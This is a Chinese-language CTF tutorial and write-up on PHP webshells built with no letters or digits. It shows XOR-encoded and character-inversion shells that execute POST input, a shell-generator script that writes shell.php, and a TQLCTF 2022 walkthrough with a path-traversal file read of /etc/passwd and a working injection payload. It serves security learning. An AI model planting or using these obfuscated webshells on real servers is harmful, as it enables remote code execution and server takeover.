无字母webshell
前言
在我们做web题目的时候,常常会遇到一些正则过滤,不允许我们输入的shell含有字母和数字,这时候则考查的是我们队无字母shell的理解和编写。接下来将个大家讲解常见的几种无字母webshell。
方法一
由于在php中,两个字符串异或的结果还是一个字符串,所以我们可以找到两个不是字母和数字的字符进行异或,他们得到的结果是我们所想要的字母即可。 这里引用PHITHON大神的一个例子。
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
方法二
-
这个我感觉是比较有趣的,简单来说就是把汉字中的其中一部分取出来,再进行取反,则会得到某个字母。
-
这里我根据p神的文章写了个shell生成脚本。
<?php
header("content-type:text/html;charset=utf-8");
$str="当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,厦门的海风伴着妮妲路过后带来的淅淅沥沥的小雨,也去不走我身上任何一个毛孔里的热气。好在旅社的生活用品一应俱全,洗完澡后我爬到屋顶旅社是一个老别墅,说起来也不算老,比起隔壁一家旧中国时期的房子要豪华得多,竖立在笔山顶上与厦门岛隔海相望。站在屋顶向下看,灯火阑珊的鼓浪屿街市参杂在绿树与楼宇间,依稀还可以看到熙熙攘攘的游客。大概是夜晚渐深的缘故,周围慢慢变得宁静下来,我忘记白天在奔波什么,直到站在这里的时候,我才知道我寻找的答案并不在南方当然也不在北方,北京的很多东西让我非常丧气,包括自掘坟墓的中介和颐指气使的大人们;北京也有很多东西让我喜欢,我喜欢颐和园古色古香的玉澜堂,我喜欢朝阳门那块“永延帝祚”的牌坊,喜欢北京鳞次栉比的老宅子和南锣鼓巷的小吃。但这些都不是我要的答案,我也不知道我追随的是什么,但想想百年后留下的又是什么,想想就很可怕我曾经为了吃一碗臭豆腐,坐着优步从上地到北海北,兴冲冲地来到那个垂涎已久的豆腐摊前,用急切又害羞的口吻对老板说,来两份量的臭豆腐。其实也只要10块钱,吃完以后便是无与伦比的满足感。我记得那是毕业设计审核前夕的一个午后,五月的北京还不算炎热,和煦的阳光顺着路边老房子的屋檐洒向大地,但我还是不敢站在阳光下,春天的燥热难耐也绝不输给夏天。就像很多人冷嘲热讽的那样,做这一行谁敢把自己完全曝光,甭管你是黑帽子白帽子还是绿帽子";
$str=str_replace(" ", "", $str);
$str=str_replace(",", "", $str);
$str=str_replace("。", "", $str);
$str=str_replace("“", "", $str);
$str=str_replace("”", "", $str);
$length=mb_strlen($str,'utf-8');
$str_arr=[];//用来存储字符串的数组
for($i=0;$i<$length;$i++)
{
$str_arr[]=mb_substr($str, $i,1,'utf-8');
}
$payload_arr=[];
$temp_arr=str_split(@$_GET['payload']);
$len=sizeof($temp_arr);
echo $len;
for($j=0;$j<$len;$j++)
{
for($i=0;$i<$length;$i++)
{
if((~($str_arr[$i]{1}))===$temp_arr[$j])
{
$payload_arr[]=$str_arr[$i];
break;
}
}
}
$parm_arr=[];
$temp_arr=str_split(@$_GET['parm']);
$len=sizeof($temp_arr);
for($j=0;$j<$len;$j++)
{
for($i=0;$i<$length;$i++)
{
if((~($str_arr[$i]{1}))===$temp_arr[$j])
{
$parm_arr[]=$str_arr[$i];
break;
}
}
}
var_dump($payload_arr);
var_dump($parm_arr);
$payload='';
$shell='<?php $_=('>'>'<');echo $_;';
for($i=0;$i<sizeof($payload_arr);$i++)
{
$payload.='$__.=(~(''.$payload_arr[$i].''{$_}));';
}
for($i=0;$i<sizeof($parm_arr);$i++)
{
$parm.='$___.=(~(''.$parm_arr[$i].''{$_}));';
}
$shell.=$payload;
$shell.=$parm;
$shell.='$__($$___['!']);?>';
file_put_contents('shell.php', $shell);
var_dump($arr2);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
<form accept="/" method="get">
函数<input type="text" name="payload">
参数<input type="text" name="parm">
<input type="submit" value="提交">
</form>
</body>
</html>
-
但这里有个限制,就是题目没有对payload有明确的长度限制,可以用这个方法。
CTF中的无字母webshell
[TQLCTF 2022]simple_bypass
-
进入,能看见有一个注册界面,注册完登录。
-
在这个好康的这个图标,进行抓包
-
发现这个功能是去读取文件图片信息,然后通过base64编码进行输出,修改参数为../../../etc/passwd
-
发现有数据,则这里存在任意文件读取。读取源码。 -
index.php
<?php
error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])){
$hash_user = md5($_POST['user']);
$hash_pass = 'zsf'.md5($_POST['pass']);
if(isset($_POST['punctuation'])){
//filter
if (strlen($_POST['user']) > 6){
echo("<script>alert('Username is too long!');</script>");
}
elseif(strlen($_POST['website']) > 25){
echo("<script>alert('Website is too long!');</script>");
}
elseif(strlen($_POST['punctuation']) > 1000){
echo("<script>alert('Punctuation is too long!');</script>");
}
else{
if(preg_match('/[^w/()*<>]/', $_POST['user']) === 0){
if (preg_match('/[^w/*:.;()n<>]/', $_POST['website']) === 0){
$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>?]/","",$_POST['punctuation']);
$template = file_get_contents('./template.html');
$content = str_replace("__USER__", $_POST['user'], $template);
$content = str_replace("__PASS__", $hash_pass, $content);
$content = str_replace("__WEBSITE__", $_POST['website'], $content);
$content = str_replace("__PUNC__", $_POST['punctuation'], $content);
file_put_contents('sandbox/'.$hash_user.'.php', $content);
echo("<script>alert('Successed!');</script>");
}
else{
echo("<script>alert('Invalid chars in website!');</script>");
}
}
else{
echo("<script>alert('Invalid chars in username!');</script>");
}
}
}
else{
setcookie("user", $_POST['user'], time()+3600);
setcookie("pass", $hash_pass, time()+3600);
Header("Location:sandbox/$hash_user.php");
}
}
?>
<!doctype html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Simple Linux</title>
<link rel="stylesheet" type="text/css" href="css/styles.css">
<!--[if IE]>
<script src="http://libs.baidu.com/html5shiv/3.7/html5shiv.min.js"></script>
<![endif]-->
</head>
<body>
<div class="jq22-container" style="padding-top:100px">
<div class="login-wrap">
<div class="login-html">
<input id="tab-1" type="radio" name="tab" class="sign-in" checked><label for="tab-1" class="tab">Sign In</label>
<input id="tab-2" type="radio" name="tab" class="sign-up"><label for="tab-2" class="tab">Sign Up</label>
<div class="login-form">
<form action="index.php" method="post">
<div class="sign-in-htm">
<div class="group">
<label for="user" class="label">Username</label>
<input id="user" name="user" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Password</label>
<input id="pass" name="pass" type="password" class="input" data-type="password">
</div>
<!-- <div class="group">
<input id="check" type="checkbox" class="check" checked>
<label for="check"><span class="icon"></span> Keep me Signed in</label>
</div> -->
<div class="group">
<input type="submit" class="button" value="Sign In">
</div>
<div class="hr"></div>
<!-- <div class="foot-lnk">
<a href="#forgot">Forgot Password?</a>
</div> -->
</div>
</form>
<form action="index.php" method="post">
<div class="sign-up-htm">
<div class="group">
<label for="user" class="label">Username</label>
<input id="user" name="user" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Password</label>
<input id="pass" name="pass" type="password" class="input" data-type="password">
</div>
<div class="group">
<label for="pass" class="label">Your Website</label>
<input id="pass" name="website" type="text" class="input">
</div>
<div class="group">
<label for="pass" class="label">Your Punctuation</label>
<input id="pass" name="punctuation" type="text" class="input">
</div>
<div class="group">
<input type="submit" class="button" value="Sign Up">
</div>
<div class="hr"></div>
<div class="foot-lnk">
<label for="tab-1">Already Member?</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>
-
template.html
<?php
error_reporting(0);
$user = ((string)__USER__);
$pass = ((string)__PASS__);
if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){
echo($_COOKIE['user']);
}
else{
die("<script>alert('Permission denied!');</script>");
}
?>
</li>
</ul>
<ul class="item">
<li><span class="sitting_btn"></span>系统设置</li>
<li><span class="help_btn"></span>使用指南 <b></b></li>
<li><span class="about_btn"></span>关于我们</li>
<li><span class="logout_btn"></span>退出系统</li>
</ul>
</div>
</div>
</div>
<a href="#" class="powered_by">__PUNC__</a>
<ul id="deskIcon">
<li class="desktop_icon" id="win5" path="https://image.baidu.com/"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text">图片
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win6" path="http://www.4399.com/"> <span class="icon"><img src="../img/icon5.png"/></span>
<div class="text">游戏
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win10" path="../get_pic.php?image=img/haokangde.png"> <span class="icon"><img src="../img/icon4.png"/></span>
<div class="text"><b>好康的</b>
<div class="right_cron"></div>
</div>
</li>
<li class="desktop_icon" id="win16" path="__WEBSITE__"> <span class="icon"><img src="../img/icon10.png"/></span>
<div class="text"><b>你的网站</b>
<div class="right_cron"></div>
</div>
</li>
</ul>
<div id="taskBar">
<div id="leftBtn"><a href="#" class="upBtn"></a></div>
<div id="rightBtn"><a href="#" class="downBtn"></a> </div>
<div id="task_lb_wrap">
<div id="task_lb"></div>
</div>
</div>
</div>
</body>
</html>
-
首先看index.php,这里对我们传如的参数进行了校验,首先我们能看到,这里打开了template.html文件,然后去把文件里的相关字段进行替换,最后查询写入一个php文件里面,这边user被限制在6位以下,所以不能写shell,passwd被进行了MD5加密,也无法利用,website在文件中的位置比较难以利用,只能在__PUNC__做文章,这里位了防止html标签对我们的影响,我们需要使用注释去注释掉,然后我们可以看到这里对punctuation进行了正则匹配,所以要用无字母webshell,由于这边限制了长度,所以我们上面第二种方法就不适用了。
payload
username:
1)/*
password:
123
website:
123
punctuation:
(这里用了网上拿的一个例子)
*/); $_='($((%-'^'[][@@';$__='#:%('^'|}`|';$___=$$__;echo $___;$_($___['!']);/*
原文始发于微信公众号(珠天PearlSky):[TQLCTF 2022]simple_bypass
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论